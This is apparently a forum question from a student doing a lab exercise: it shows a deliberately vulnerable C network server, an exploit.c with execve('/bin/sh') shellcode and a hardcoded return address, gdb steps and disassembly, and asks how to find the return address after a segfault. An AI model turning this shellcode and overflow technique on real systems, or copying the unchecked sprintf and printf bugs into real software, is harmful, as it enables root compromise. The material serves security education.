title: How to find the Return Address when performing a Buffer Overflow Attack
body: <p>Updated:</p>
  <p>Now I have overwrite the return address with the shellcode address, but the program crashes because of the Segmentation Fault.</p>
  <p>I used the info frame to locate the return address (eip) at 0xbfffe58c
  <a href="https://i.stack.imgur.com/b3cXq.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/b3cXq.jpg" alt="enter image description here" /></a></p>
  <p>The start address of command is 0xbfffe520 and I have the shellcode in it.
  However, I have already overwrite the value of 0xbfffe58c to the shellcode's address, but the application crashes..
  <a href="https://i.stack.imgur.com/xKqQ2.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/xKqQ2.jpg" alt="enter image description here" /></a></p>
  <p>I am not sure where I did wrong...</p>
  <p>======================================</p>
  <p>I have been learning buffer overflow attack recently. After several online tutorials, I got this small task asking me to use buffer overflow to obtain the root access of the server.</p>
  <p>Below is the given code.</p>
  <pre class="lang-c prettyprint-override"><code>/* server.c  */
  
  #include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;unistd.h&gt;
  #include &lt;string.h&gt;
  #include &lt;sys/socket.h&gt;
  #include &lt;netinet/ip.h&gt;
  #include &lt;sys/wait.h&gt;
  
  #define PORT 6060
  
  int exec_command(int sock, char *buf) {
  
     char command[80];
     char *command_p=command;
     char *val0=0;
     char *val1=0;
     int status=10;
     close(STDOUT_FILENO);
     close(STDERR_FILENO);
     dup2(sock, STDOUT_FILENO);
     dup2(sock, STDERR_FILENO );
     sprintf(command_p, &quot;%s&quot;,  buf);
     val1= strtok(command, &quot;\n&quot;);
     char * argv_list[] = {&quot;/bin/grep&quot;, &quot;-i&quot;, val1, &quot;notes&quot;, NULL};
     printf(&quot;You have provided: \n&quot;);
     printf(command);
      pid_t id = fork();
      if (id == -1) exit(1); 
      if (id &gt; 0)
      { 
          waitpid(id, &amp;status, 0);
          printf(&quot;\nTEST\n&quot;);
          return 0;
      } else {     
          if(execve(&quot;/bin/grep&quot;, argv_list, NULL)==0){
          return -1;    
          };
      }
  }
  
  void main()
  {
      struct sockaddr_in server;
      struct sockaddr_in client;
      int clientLen;
      int sock,newsock;
      char buf[1500];
      pid_t pid,current = getpid();
      int ret_val;
  
      sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  
      if (sock &lt; 0) {
          perror(&quot;Error opening socket&quot;);
          exit(1);
      }
      memset((char *) &amp;server, 0, sizeof(server));
      server.sin_family = AF_INET;
      server.sin_addr.s_addr = htonl(INADDR_ANY);
      server.sin_port = htons(PORT);
  
      ret_val = bind(sock, (struct sockaddr *) &amp;server, sizeof(server)); 
      if (ret_val &lt; 0) {
          perror(&quot;ERROR on binding&quot;);
      close(sock);
          exit(1);
      }
  
  
      while (1) {
  
          listen(sock, 5);
      clientLen = sizeof(client);
          newsock = accept(sock, (struct sockaddr *) &amp;client, &amp;clientLen);
          if (newsock &lt; 0) {
              perror(&quot;Error on accept&quot;);
              exit(1);
          }
      bzero(buf, 1500);
      recvfrom(newsock, buf, 1500-1, 0, (struct sockaddr *) &amp;client, &amp;clientLen);
      printf(&quot;the buf: %s||\n&quot;,buf);
      exec_command(newsock, buf);
      //printf(&quot;the end\n&quot;);
      close(newsock);
               
      }
      close(sock);
  }
  </code></pre>
  <p>My approach is to:</p>
  <ol>
  <li>Find the Memory Address of buf[buffer_size]</li>
  <li>Overwrite the buf[] with the shellcode</li>
  <li>Find the return address</li>
  <li>Overwrite the return address with the shellcode address.</li>
  </ol>
  <p>Here is my exploit.c</p>
  <pre class="lang-c prettyprint-override"><code>/* exploit.c  */
  
  /* A program that creates a file containing code for launching shell*/
  #include &lt;stdlib.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  
  char shellcode[]=   
    &quot;\x31\xc0&quot;             /* Line 1:  xorl    %eax,%eax              */
    &quot;\x50&quot;                 /* Line 2:  pushl   %eax                   */
    &quot;\x68&quot;&quot;//sh&quot;           /* Line 3:  pushl   $0x68732f2f            */
    &quot;\x68&quot;&quot;/bin&quot;           /* Line 4:  pushl   $0x6e69622f            */
    &quot;\x89\xe3&quot;             /* Line 5:  movl    %esp,%ebx              */
    &quot;\x50&quot;                 /* Line 6:  pushl   %eax                   */
    &quot;\x53&quot;                 /* Line 7:  pushl   %ebx                   */
    &quot;\x89\xe1&quot;             /* Line 8:  movl    %esp,%ecx              */
    &quot;\x99&quot;                 /* Line 9:  cdq                            */
    &quot;\xb0\x0b&quot;             /* Line 10: movb    $0x0b,%al              */
    &quot;\xcd\x80&quot;             /* Line 11: int     $0x80                  */
    ;
  
  void main(int argc, char **argv)
  {
      char buffer[517];
      FILE *badfile;
  
      /* Initialize buffer with 0x90 (NOP instruction) */
      memset(&amp;buffer, 0x90, 517);
  
      /* You need to fill the buffer with appropriate contents here */
      strcpy(buffer,shellcode);           
      strcpy(buffer+0x265,&quot;\x84\xe6\xff\xbf&quot;);        
  
      /* Save the contents to the file &quot;badfile&quot; */
      badfile = fopen(&quot;./badfile&quot;, &quot;w&quot;);
      fwrite(buffer, 517, 1, badfile);
      fclose(badfile);
  }
  </code></pre>
  <p>I was asked to fill the code to perform the attack. And I am also allowed to use gdb to find desired address. Here is what I filled in.</p>
  <pre class="lang-c prettyprint-override"><code>    strcpy(buffer,shellcode);           
      strcpy(buffer+0x265,&quot;\x84\xe6\xff\xbf&quot;);        
  </code></pre>
  <p>I could get the address of the buf[] by putting break point when debug server.c.</p>
  <pre class="lang-sh prettyprint-override"><code>   b main
     p /x &amp;buf
  </code></pre>
  <p>But I have problem identify the return address. I tried to use the disass to find the return address of the exec_function because I noticed that it uses sprintf function which has the overflow vulnerability. But I am having issues reading the assembly language for exec_function.</p>
  <pre><code> 0x080487db &lt;+0&gt;:   push   ebp
     0x080487dc &lt;+1&gt;: mov    ebp,esp
     0x080487de &lt;+3&gt;: sub    esp,0x88
  =&gt; 0x080487e4 &lt;+9&gt;: lea    eax,[ebp-0x68]
     0x080487e7 &lt;+12&gt;:    mov    DWORD PTR [ebp-0xc],eax
     0x080487ea &lt;+15&gt;:    mov    DWORD PTR [ebp-0x10],0x0
     0x080487f1 &lt;+22&gt;:    mov    DWORD PTR [ebp-0x14],0x0
     0x080487f8 &lt;+29&gt;:    mov    DWORD PTR [ebp-0x6c],0xa
     0x080487ff &lt;+36&gt;:    sub    esp,0xc
     0x08048802 &lt;+39&gt;:    push   0x1
     0x08048804 &lt;+41&gt;:    call   0x80486c0 &lt;close@plt&gt;
     0x08048809 &lt;+46&gt;:    add    esp,0x10
     0x0804880c &lt;+49&gt;:    sub    esp,0xc
     0x0804880f &lt;+52&gt;:    push   0x2
     0x08048811 &lt;+54&gt;:    call   0x80486c0 &lt;close@plt&gt;
     0x08048816 &lt;+59&gt;:    add    esp,0x10
     0x08048819 &lt;+62&gt;:    sub    esp,0x8
     0x0804881c &lt;+65&gt;:    push   0x1
     0x0804881e &lt;+67&gt;:    push   DWORD PTR [ebp+0x8]
     0x08048821 &lt;+70&gt;:    call   0x8048570 &lt;dup2@plt&gt;
     0x08048826 &lt;+75&gt;:    add    esp,0x10
     0x08048829 &lt;+78&gt;:    sub    esp,0x8
     0x0804882c &lt;+81&gt;:    push   0x2
     0x0804882e &lt;+83&gt;:    push   DWORD PTR [ebp+0x8]
     0x08048831 &lt;+86&gt;:    call   0x8048570 &lt;dup2@plt&gt;
     0x08048836 &lt;+91&gt;:    add    esp,0x10
     0x08048839 &lt;+94&gt;:    sub    esp,0x8
     0x0804883c &lt;+97&gt;:    push   DWORD PTR [ebp+0xc]
     0x0804883f &lt;+100&gt;:   push   DWORD PTR [ebp-0xc]
     0x08048842 &lt;+103&gt;:   call   0x80485f0 &lt;strcpy@plt&gt;
     0x08048847 &lt;+108&gt;:   add    esp,0x10
     0x0804884a &lt;+111&gt;:   sub    esp,0x8
     0x0804884d &lt;+114&gt;:   push   0x8048b30
     0x08048852 &lt;+119&gt;:   lea    eax,[ebp-0x68]
     0x08048855 &lt;+122&gt;:   push   eax
     0x08048856 &lt;+123&gt;:   call   0x8048670 &lt;strtok@plt&gt;
     0x0804885b &lt;+128&gt;:   add    esp,0x10
     0x0804885e &lt;+131&gt;:   mov    DWORD PTR [ebp-0x14],eax
     0x08048861 &lt;+134&gt;:   mov    DWORD PTR [ebp-0x80],0x8048b32
     0x08048868 &lt;+141&gt;:   mov    DWORD PTR [ebp-0x7c],0x8048b3c
     0x0804886f &lt;+148&gt;:   mov    eax,DWORD PTR [ebp-0x14]
     0x08048872 &lt;+151&gt;:   mov    DWORD PTR [ebp-0x78],eax
     0x08048875 &lt;+154&gt;:   mov    DWORD PTR [ebp-0x74],0x8048b3f
     0x0804887c &lt;+161&gt;:   mov    DWORD PTR [ebp-0x70],0x0
     0x08048883 &lt;+168&gt;:   sub    esp,0xc
     0x08048886 &lt;+171&gt;:   push   0x8048b45
     0x0804888b &lt;+176&gt;:   call   0x8048610 &lt;puts@plt&gt;
     0x08048890 &lt;+181&gt;:   add    esp,0x10
     0x08048893 &lt;+184&gt;:   sub    esp,0xc
     0x08048896 &lt;+187&gt;:   lea    eax,[ebp-0x68]
     0x08048899 &lt;+190&gt;:   push   eax
     0x0804889a &lt;+191&gt;:   call   0x8048580 &lt;printf@plt&gt;
     0x0804889f &lt;+196&gt;:   add    esp,0x10
     0x080488a2 &lt;+199&gt;:   call   0x8048680 &lt;fork@plt&gt;
     0x080488a7 &lt;+204&gt;:   mov    DWORD PTR [ebp-0x18],eax
     0x080488aa &lt;+207&gt;:   cmp    DWORD PTR [ebp-0x18],0xffffffff
     0x080488ae &lt;+211&gt;:   jne    0x80488ba &lt;exec_command+223&gt;
     0x080488b0 &lt;+213&gt;:   sub    esp,0xc
     0x080488b3 &lt;+216&gt;:   push   0x1
     0x080488b5 &lt;+218&gt;:   call   0x8048620 &lt;exit@plt&gt;
     0x080488ba &lt;+223&gt;:   cmp    DWORD PTR [ebp-0x18],0x0
     0x080488be &lt;+227&gt;:   jle    0x80488eb &lt;exec_command+272&gt;
     0x080488c0 &lt;+229&gt;:   sub    esp,0x4
     0x080488c3 &lt;+232&gt;:   push   0x0
     0x080488c5 &lt;+234&gt;:   lea    eax,[ebp-0x6c]
     0x080488c8 &lt;+237&gt;:   push   eax
     0x080488c9 &lt;+238&gt;:   push   DWORD PTR [ebp-0x18]
     0x080488cc &lt;+241&gt;:   call   0x80485e0 &lt;waitpid@plt&gt;
     0x080488d1 &lt;+246&gt;:   add    esp,0x10
     0x080488d4 &lt;+249&gt;:   sub    esp,0xc
     0x080488d7 &lt;+252&gt;:   push   0x8048b59
     0x080488dc &lt;+257&gt;:   call   0x8048610 &lt;puts@plt&gt;
     0x080488e1 &lt;+262&gt;:   add    esp,0x10
     0x080488e4 &lt;+265&gt;:   mov    eax,0x0
     0x080488e9 &lt;+270&gt;:   jmp    0x804890c &lt;exec_command+305&gt;
     0x080488eb &lt;+272&gt;:   sub    esp,0x4
     0x080488ee &lt;+275&gt;:   push   0x0
     0x080488f0 &lt;+277&gt;:   lea    eax,[ebp-0x80]
     0x080488f3 &lt;+280&gt;:   push   eax
     0x080488f4 &lt;+281&gt;:   push   0x8048b32
     0x080488f9 &lt;+286&gt;:   call   0x8048640 &lt;execve@plt&gt;
     0x080488fe &lt;+291&gt;:   add    esp,0x10
     0x08048901 &lt;+294&gt;:   test   eax,eax
     0x08048903 &lt;+296&gt;:   jne    0x804890c &lt;exec_command+305&gt;
     0x08048905 &lt;+298&gt;:   mov    eax,0xffffffff
     0x0804890a &lt;+303&gt;:   jmp    0x804890c &lt;exec_command+305&gt;
     0x0804890c &lt;+305&gt;:   leave  
     0x0804890d &lt;+306&gt;:   ret 
  </code></pre>
  <p>How can I identify the return address? In a more general way, what is the best practice to find such an address?</p>